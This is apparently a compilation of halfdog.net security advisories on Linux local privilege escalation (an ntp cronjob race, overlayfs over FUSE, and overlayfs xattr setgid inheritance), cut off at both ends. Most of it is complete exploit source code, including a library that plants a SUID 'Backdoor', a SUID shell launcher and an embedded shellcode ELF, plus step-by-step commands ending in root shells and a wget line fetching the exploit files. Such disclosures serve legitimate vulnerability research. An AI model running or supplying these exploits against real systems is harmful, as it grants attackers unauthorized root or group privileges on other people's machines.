memset(handlerPage, 0, 1<<12);
write(result, handlerPage, 1<<12);
close(result);
*(int*)handlerPage=(int)"/tmp/dummy";
execve("/tmp/dummy", handlerPage, NULL);
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/
## Introduction
### Problem description:
The cronjob script bundled with ntp package is intended to perform cleanup on statistics files produced by NTP daemon running with statistics enabled. The script is run as root during the daily cronjobs all operations on the ntp-user controlled statistics directory without switching to user ntp. Thus all steps are performed with root permissions in place.
Due to multiple bugs in the script, a malicious ntp user can make the backup process to overwrite arbitrary files with content controlled by the attacker, thus gaining root privileges. The problematic parts in /etc/cron.daily/ntp are:
find "$statsdir" -type f -mtime +7 -exec rm {} \;
# compress whatever is left to save space
cd "$statsdir"
ls *stats.???????? > /dev/null 2>&1
if [ $? -eq 0 ]; then
# Note that gzip won't compress the file names that
# are hard links to the live/current files, so this
# compresses yesterday and previous, leaving the live
# log alone. We supress the warnings gzip issues
# about not compressing the linked file.
gzip --best --quiet *stats.????????
Relevant targets are:
- find and rm invocation is racy, symlinks on rm
- rm can be invoked with one attacker controlled option
- ls can be invoked with arbitrary number of attacker controlled command line options
- gzip can be invoked with arbitrary number of attacker controlled options
## Methods
### Exploitation Goal:
A sucessful attack should not be mitigated by symlink security restrictions. Thus the general POSIX/Linux design weakness of missing flags/syscalls for safe opening of path without the setfsuid workaround has to be targeted. See FilesystemRecursionAndSymlinks (http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/) on that.
### Demonstration:
First step is to pass the ls check in the script to trigger gzip, which is more suitable to perform file system changes than ls for executing arbitrary code. As this requires passing command line options to gzip which are not valid for ls, content of statsdir has to be modified exactly in between. This can be easily accomplished by preparing suitable entries in /var/lib/ntp and starting one instance of DirModifyInotify.c (http://www.halfdog.net/Misc/Utils/DirModifyInotify.c) as user ntp:
cd /var/lib/ntp
mkdir astats.01234567 bstats.01234567
# Copy away library, we will have to restore it afterwards. Without
# that, login is disabled on console, via SSH, ...
cp -a -- /lib/x86_64-linux-gnu/libpam.so.0.83.1 .
gzip < /lib/x86_64-linux-gnu/libpam.so.0.83.1 > astats.01234567/libpam.so.0.83.1stats.01234567
./DirModifyInotify --Watch bstats.01234567 --WatchCount 5 --MovePath bstats.01234567 --MoveTarget -drfSstats.01234567 &
With just that in place, DirModifyInotify will react to the actions of ls, move the directory and thus trigger recursive decompression in gzip instead of plain compression. While gzip is running, the directory astats.01234567 has to replaced also to make it overwrite arbitrary files as user root. As gzip will attempt to restore uid/gid of compressed file to new uncompressed version, this will just change the ownership of PAM library to ntp user.
./DirModifyInotify --Watch astats.01234567 --WatchCount 12 --MovePath astats.01234567 --MoveTarget disabled --LinkTarget /lib/x86_64-linux-gnu/
After the daily cron jobs were run once, libpam.so.0.83.1 can be temporarily replaced, e.g. to create a SUID binary for escalation.
LibPam.c (http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/LibPam.c)
SuidExec.c (http://www.halfdog.net/Misc/Utils/SuidExec.c)
gcc -Wall -fPIC -c LibPam.c
ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so
cat libPam.so > /lib/x86_64-linux-gnu/libpam.so.0.83.1
gcc -o Backdoor SuidExec.c
/bin/su
# Back to normal
./Backdoor /bin/sh -c 'cp --preserve=mode,timestamps -- libpam.so.0.83.1 /lib/x86_64-linux-gnu/libpam.so.0.83.1; chown root.root /lib/x86_64-linux-gnu/libpam.so.0.83.1; exec /bin/sh'
--- DirModifyInotify.c ---
/** This program waits for notify of file/directory to replace
* given directory with symlink.
*
* Usage: DirModifyInotify --Watch [watchfile0] --WatchCount [num]
* --MovePath [path] --MoveTarget [path] --LinkTarget [path] --Verbose
*
* Parameters:
* * --MoveTarget: If set, move path to that target location before
* attempting to symlink.
* * --LinkTarget: If set, the MovePath is replaced with link to
* this path
*
* Compile:
* gcc -o DirModifyInotify DirModifyInotify.c
*
* Copyright (c) 2010-2016 halfdog <me (%) halfdog.net>
*
* This software is provided by the copyright owner "as is" to
* study it but without any expressed or implied warranties, that
* this software is fit for any other purpose. If you try to compile
* or run it, you do it solely on your own risk and the copyright
* owner shall not be liable for any direct or indirect damage
* caused by this software.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *movePath=NULL;
char *newDirName=NULL;
char *symlinkTarget=NULL;
int argPos;
int handle;
int inotifyHandle;
int inotifyDataSize=sizeof(struct inotify_event)*16;
struct inotify_event *inotifyData;
int randomVal;
int callCount;
int targetCallCount=0;
int verboseFlag=0;
int result;
if(argc<4) return(1);
inotifyHandle=inotify_init();
for(argPos=1; argPos<argc; argPos++) {
if(!strcmp(argv[argPos], "--Verbose")) {
verboseFlag=1;
continue;
}
if(!strcmp(argv[argPos], "--LinkTarget")) {
argPos++;
if(argPos==argc) return(1);
symlinkTarget=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MovePath")) {
argPos++;
if(argPos==argc) return(1);
movePath=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MoveTarget")) {
argPos++;
if(argPos==argc) return(1);
newDirName=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--Watch")) {
argPos++;
if(argPos==argc) return(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
result=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
if(result==-1) {
fprintf(stderr, "Failed to add watch path %s, error %d\n",
argv[argPos], errno);
return(1);
}
continue;
}
if(!strcmp(argv[argPos], "--WatchCount")) {
argPos++;
if(argPos==argc) return(1);
targetCallCount=atoi(argv[argPos]);
continue;
}
fprintf(stderr, "Unknown option %s\n", argv[argPos]);
return(1);
}
if(!movePath) {
fprintf(stderr, "No move path specified!\n" \
"Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
" --LinkTarget [path]\n");
return(1);
}
fprintf(stderr, "Using target call count %d\n", targetCallCount);
// Init name of new directory if not already defined.
if(!newDirName) {
newDirName=(char*)malloc(strlen(movePath)+256);
sprintf(newDirName, "%s-moved", movePath);
}
inotifyData=(struct inotify_event*)malloc(inotifyDataSize);
for(callCount=0; ; callCount++) {
result=read(inotifyHandle, inotifyData, inotifyDataSize);
if(callCount==targetCallCount) {
rename(movePath, newDirName);
// rmdir(movePath);
if(symlinkTarget) symlink(symlinkTarget, movePath);
fprintf(stderr, "Move triggered at count %d\n", callCount);
break;
}
if(verboseFlag) {
fprintf(stderr, "Received notify %d, result %d, error %s\n",
callCount, result, (result<0?strerror(errno):NULL));
}
if(result<0) {
break;
}
}
return(0);
}
--- EOF ---
--- LibPam.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This library just transforms an existing file into a SUID
* binary when the library is loaded.
*
* gcc -Wall -fPIC -c LibPam.c
* ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so
*/
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
/** Library initialization function, called by the linker. If not
* named _init, parameter has to be set during linking using -init=name
*/
extern void _init() {
fprintf(stderr, "LibPam.c: Within _init\n");
chown("/var/lib/ntp/Backdoor", 0, 0);
chmod("/var/lib/ntp/Backdoor", 04755);
}
--- EOF ---
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/
## Introduction
Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk.
## Methods
Basic exploitation sequence is:
- Mount fuse filesystem exposing one world writable SUID binary
- Create USERNS
- Mount overlayfs on top of fuse
- Open the SUID binary RDWR in overlayfs, thus triggering copy_up
This can be archived, e.g.
SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)
test# mkdir fuse
test# mv SuidExec RealFile
test# ./FuseMinimal fuse
test# ./UserNamespaceExec -- /bin/bash
root# mkdir mnt upper work
root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt
root# touch mnt/file
touch: setting times of ‘mnt/file’: Permission denied
root# umount mnt
root# exit
test# fusermount -u fuse
test# ls -al upper/file
-rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file
test# upper/file /bin/bash
root# id
uid=0(root) gid=100(users) groups=100(users)
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* Minimal userspace file system demo, compile using
* gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
*
* See also /usr/include/fuse/fuse.h
*/
#define FUSE_USE_VERSION 28
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static FILE *logFile;
static char *fileNameNormal="/file";
static char *fileNameCharDev="/chardev";
static char *fileNameNormalSubFile="/dir/file";
static char *realFileName="./RealFile";
static int realFileHandle=-1;
static int io_getattr(const char *path, struct stat *stbuf) {
fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
path, stbuf);
fflush(logFile);
int res=-ENOENT;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode=S_IFDIR|0755;
stbuf->st_nlink=2;
res=0;
} else if(strcmp(path, fileNameCharDev)==0) {
// stbuf->st_dev=makedev(5, 2);
stbuf->st_mode=S_IFCHR|0777;
stbuf->st_rdev=makedev(5, 2);
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=100;
res=0;
} else if(strcmp(path, "/dir")==0) {
stbuf->st_mode=S_IFDIR|S_ISGID|0777;
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=1<<12;
res=0;
} else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
if(realFileName) {
if(fstat(realFileHandle, stbuf)) {
fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
realFileName, errno, strerror(errno));
} else {
// Just change uid/suid, which is far more interesting during testing
stbuf->st_mode|=S_ISUID;
stbuf->st_uid=0;
stbuf->st_gid=0;
}
} else {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
}
stbuf->st_nlink=1; // Number of hard links
res=0;
}
return(res);
}
static int io_readlink(const char *path, char *buffer, size_t length) {
fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
path, buffer, (long)length);
fflush(logFile);
return(-1);
}
static int io_unlink(const char *path) {
fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
fflush(logFile);
return(0);
}
static int io_rename(const char *oldPath, const char *newPath) {
fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
oldPath, newPath);
fflush(logFile);
return(0);
}
static int io_chmod(const char *path, mode_t mode) {
fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
fflush(logFile);
return(0);
}
static int io_chown(const char *path, uid_t uid, gid_t gid) {
fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
fflush(logFile);
return(0);
}
/** Open a file. This function checks access permissions and may
* associate a file info structure for future access.
* @returns 0 when open OK
*/
static int io_open(const char *path, struct fuse_file_info *fi) {
fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
fflush(logFile);
return(0);
}
static int io_read(const char *path, char *buffer, size_t length,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
path, buffer, (long)length, (long)offset, fi);
fflush(logFile);
if(length<0) return(-1);
if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
if(!realFileName) {
if((offset<0)||(offset>4)) return(-1);
if(offset+length>4) length=4-offset;
if(length>0) memcpy(buffer, "xxxx", length);
return(length);
}
if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
fprintf(stderr, "read: seek on %s failed\n", path);
return(-1);
}
return(read(realFileHandle, buffer, length));
}
return(-1);
}
static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
path, buf, filler, ((long)offset), fi);
fflush(logFile);
(void) offset;
(void) fi;
if(!strcmp(path, "/")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, fileNameCharDev+1, NULL, 0);
filler(buf, "dir", NULL, 0);
filler(buf, fileNameNormal+1, NULL, 0);
return(0);
} else if(!strcmp(path, "/dir")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return(0);
}
return -ENOENT;
}
static int io_access(const char *path, int mode) {
fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
path, mode);
fflush(logFile);
return(0);
}
static int io_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data) {
fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
path, cmd, arg, fi, flags, data);
fflush(logFile);
return(0);
}
static struct fuse_operations hello_oper = {
.getattr = io_getattr,
.readlink = io_readlink,
// .getdir = deprecated
// .mknod
// .mkdir
.unlink = io_unlink,
// .rmdir
// .symlink
.rename = io_rename,
// .link
.chmod = io_chmod,
.chown = io_chown,
// .truncate
// .utime
.open = io_open,
.read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
.readdir = io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
.access = io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
.ioctl = io_ioctl,
// .poll
};
int main(int argc, char *argv[]) {
char buffer[128];
realFileHandle=open(realFileName, O_RDWR);
if(realFileHandle<0) {
fprintf(stderr, "Failed to open %s\n", realFileName);
exit(1);
}
snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
logFile=fopen(buffer, "a");
if(!logFile) {
fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
return(1);
}
fprintf(logFile, "Starting fuse init\n");
fflush(logFile);
return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/
## Introduction
### Problem description:
Linux user namespace allows to mount file systems as normal user, including the overlayfs. As many of those features were not designed with namespaces in mind, this increase the attack surface of the Linux kernel interface.
Overlayfs was intended to allow create writeable filesystems when running on readonly medias, e.g. on a live-CD. In such scenario, the lower filesystem contains the read-only data from the medium, the upper filesystem part is mixed with the lower part. This mixture is then presented as an overlayfs at a given mount point. When writing to this overlayfs, the write will only modify the data in upper, which may reside on a tmpfs for that purpose.
Due to inheritance of Posix ACL information (xattrs) when copying up overlayfs files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). On standard Ubuntu system, this allows to gain access to groups staff, mail, libuuid.
## Methods
### Target Selection:
Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:
/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)
### Exploitation:
Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit. The following steps include command variants needed for different operating systems. They have to be executed in two processes, one inside the user namespace, the other one outside of it.
### Inside:
test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ ./UserNamespaceExec -- /bin/bash
root# mkdir mnt test work
root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test overlayfs mnt # Ubuntu Trusty
root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test,workdir=work overlayfs mnt # Ubuntu Wily
### Outside:
test$ setfacl -m d:u:test:rwx test # Ubuntu Trusty
test$ setfacl -m d:u::rwx,d:u:test:rwx work/work # Ubuntu Wily
### Inside:
root# chmod 02777 mnt/[targetdir]
root# umount mnt
### Outside:
test$ ./CreateSetgidBinary test/[targetdir]/escalate /bin/mount x nonexistent-arg
test$ test/[targetdir]/escalate ./SuidExec /bin/bash
test$ touch x
test$ ls -al x
-rw-r--r-- 1 test [targetgroup] 0 Jan 16 20:39 x
--- CreateSetgidBinary.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* This tool allows to create a setgid binary in appropriate directory
* to escalate to the group of this directory.
*
* Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
*
* Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
*
* Example:
*
* # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
* # ls -al ./escalate
* # ./escalate /bin/sh
*
* Copyright (c) 2015-2017 halfdog <me (%) halfdog.net>
* License: https://www.gnu.org/licenses/lgpl-3.0.en.html
*
* See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>
int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};
int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
return(1);
}
char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
int result=fork();
if(!result) {
struct rlimit limits;
// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);
// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);
dup2(destFd, 1);
dup2(destFd, 2);
argv[3]=suidWriteNext;
execve(argv[2], argv+3, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(result, NULL, 0);
suidWriteNext=suidWriteTestPos;
